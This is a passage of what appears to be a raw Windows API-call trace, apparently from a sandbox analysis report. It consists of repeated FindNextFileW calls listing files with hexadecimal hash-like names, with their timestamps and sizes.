ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe27, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="522FF036651FEA29F227BFB14BD934175DDBA62A", cAlternateFileName="522FF0~1")) returned 1 [0251.354] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd56503b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd56503b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd56503b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="529CD0D4C166C4989BAABA7E5FF50F75FB1D22D3", cAlternateFileName="529CD0~1")) returned 1 [0251.354] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fad502d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x2096f70d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2096f70d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb6e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="52DA3BAA6D4D709B01D171773AD7B03240F54458", cAlternateFileName="52DA3B~1")) returned 1 [0251.354] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0a0fac7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc0a0fac7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc0a0fac7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="53276735904DF669A90B5F1543E4FBB2A1927E85", cAlternateFileName="532767~1")) returned 1 [0251.354] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc208fcfa, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc208fcfa, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3f29b99e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2bd1, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="53DAE4B1D7BFF6744CCAF7207DE631267F9883DC", cAlternateFileName="53DAE4~1")) returned 1 [0251.354] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x10fe, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="53FE39FDB590D11DCF5D36416A9314CCABB2C284", cAlternateFileName="53FE39~1")) returned 1 [0251.355] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe25, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="56C1D667A6AFD5406F830882D54923461E079C1B", cAlternateFileName="56C1D6~1")) returned 1 [0251.355] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3aefdc3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3aefdc3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x554c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="5754A981D1B97D4C45C91BFDCC6C62D72CF625EF", cAlternateFileName="5754A9~1")) returned 1 [0251.355] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440c680d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x440c680d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x440c680d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="579EC9227C4A988DCC4894D82AA161957107515D", cAlternateFileName="579EC9~1")) returned 1 [0251.355] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4964228, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc4964228, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcaf78f3b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x21dc, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="57E662573FD9E42D3972BE92D3DF0557C7B2E836", cAlternateFileName="57E662~1")) returned 1 [0251.355] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8ac315, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8ac315, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8ac315, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xef7, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="5994EFBA690009A711CB274682E4797710EC767B", cAlternateFileName="5994EF~1")) returned 1 [0251.355] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a29c76, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x44a29c76, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x44a29c76, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3798, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="5A39FCB4CCAE4A6C76307026D7C882B4AE85B1F9", cAlternateFileName="5A39FC~1")) returned 1 [0251.355] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8ac315, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8ac315, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8ac315, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xf30, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="5A78256218E560B4D9035CC52A989756691DFAEC", cAlternateFileName="5A7825~1")) returned 1 [0251.355] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435baa6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x435baa6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x436f332, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2817, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="5B9196645BD157422AF27C7DAA67799558B3FDF3", cAlternateFileName="5B9196~1")) returned 1 [0251.355] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xeee, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="5CC1482042EA552D42DB375CF62E1959EDFD4F33", cAlternateFileName="5CC148~1")) returned 1 [0251.355] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f2a2eca, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x1f2a2eca, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1f2a2eca, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="5D226BBBF0930C513E215ADFB7B666D0DCA9B9D2", cAlternateFileName="5D226B~1")) returned 1 [0251.357] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3c47318, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3c47318, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc3c6d56d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="5D3521E1D174FCB4103705B4338E3AB106525CC9", cAlternateFileName="5D3521~1")) returned 1 [0251.357] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef8bd1c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xef8bd1c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x451b00b9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2198, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="5D44AC703C53CC7EE6356F698FD1B03DA81FFE47", cAlternateFileName="5D44AC~1")) returned 1 [0251.357] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9899a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x6f9899a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x6f99d11, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x447d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="5E4954707B44E5A4B4ACF5F22B52219A1DCA477F", cAlternateFileName="5E4954~1")) returned 1 [0251.357] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e6ac3a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x3e6ac3a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41684cf, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1481, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="5F48FAABC36B7B66AAC3820F4C14377E7CE7AF5C", cAlternateFileName="5F48FA~1")) returned 1 [0251.357] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x458be9ed, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x458be9ed, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45aebce0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="5F6CA4B735A819E20BF4C478266384C8A4B7C158", cAlternateFileName="5F6CA4~1")) returned 1 [0251.357] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e767b4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4e767b4, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4e767b4, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1161, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="5FE82A8DD7C9014AEE2AAA31ED2ABEDABD77E7C4", cAlternateFileName="5FE82A~1")) returned 1 [0251.357] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6769b93, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc6769b93, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc6c2e6d2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x114f4d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="616AB700BF5ED4A444798148DA26984F3B31D83A", cAlternateFileName="616AB7~1")) returned 1 [0251.357] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca61cf5c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xca61cf5c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x2eab, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="62326019F9C99B9A93D51B48A1F63BC2D075A6B9", cAlternateFileName="623260~1")) returned 1 [0251.358] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4386e489, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4386e489, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4386e489, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1abb, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="635EAE5D2B518F168607E2A8D67845079C2A7DF0", cAlternateFileName="635EAE~1")) returned 1 [0251.358] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42dfff70, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42dfff70, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42dfff70, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="63ACFE8698FC61908B016C5D661F8E6F430E32B6", cAlternateFileName="63ACFE~1")) returned 1 [0251.358] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34ab24a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x34ab24a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x34beafc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="63F48F4F7F1BC3195F5AB831F9794F3DBA2D30E1", cAlternateFileName="63F48F~1")) returned 1 [0251.358] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047323, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7047323, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7049b25, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="644E400521E4BFD78E4063E539A97F0C19A5EF01", cAlternateFileName="644E40~1")) returned 1 [0251.358] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe01, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="6730E7D38947125CF79CAEB391A7C2548F883DD9", cAlternateFileName="6730E7~1")) returned 1 [0251.358] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ed95f4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4ed95f4, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4eda97d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd2f5, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="698AC159A6BCBA0D13FE6F10F1A38E498F826F33", cAlternateFileName="698AC1~1")) returned 1 [0251.358] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42e261bf, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42e261bf, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42e261bf, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x155c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="6B59D88F10856ABB980993D7332F49AB71BD33B8", cAlternateFileName="6B59D8~1")) returned 1 [0251.358] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd56503b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd56503b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd56503b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="6BFE0EB337F328928E30DD51C1084B7FD4937D99", cAlternateFileName="6BFE0E~1")) returned 1 [0251.358] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="6E70D64994FC50847D02A3C844407DE8C2A71039", cAlternateFileName="6E70D6~1")) returned 1 [0251.358] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe27, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="6E737977754F860FE206E1BDA7E561C5EFCF040B", cAlternateFileName="6E7379~1")) returned 1 [0251.358] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43121106, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x43121106, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x43121106, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e5d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="6F4FA43590A63EB51F16A747B6869FEA664D492D", cAlternateFileName="6F4FA4~1")) returned 1 [0251.358] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90c92ac, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90c92ac, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa90c92ac, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="6F8476F0E7F6646593363B49CE1F1A061176132D", cAlternateFileName="6F8476~1")) returned 1 [0251.358] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa873fde8, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa873fde8, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa897bfc2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="6FED260138400FD12677C90F90A961644A731AAC", cAlternateFileName="6FED26~1")) returned 1 [0251.358] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaa6bfb9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcaa6bfb9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcaa6e6c6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x7afd, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="705E490FDB59514DC9A1DEE2B8DE64728A905979", cAlternateFileName="705E49~1")) returned 1 [0251.358] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xef4, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="71C7F05A4972DA343C7410BEC996469B4D9B1EC1", cAlternateFileName="71C7F0~1")) returned 1 [0251.360] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3f8e6cc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3f8e6cc, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcae5797a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc302, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="730732921FB223938F8FC50951AF7C51CCEA61B0", cAlternateFileName="730732~1")) returned 1 [0251.360] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d1cf73, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc8d1cf73, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc99a1505, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x11c8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="7312A4BC2416B43197DAB1517D4F71DDE4DDB5C1", cAlternateFileName="7312A4~1")) returned 1 [0251.360] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc69a5eeb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc69a5eeb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc997b2b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1244, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="732701B5818487B0389EC13AB5055BA0FC5A408C", cAlternateFileName="732701~1")) returned 1 [0251.360] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fda27ea, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3fda27ea, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3fda27ea, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x80000018, dwReserved1=0x73ca443f, 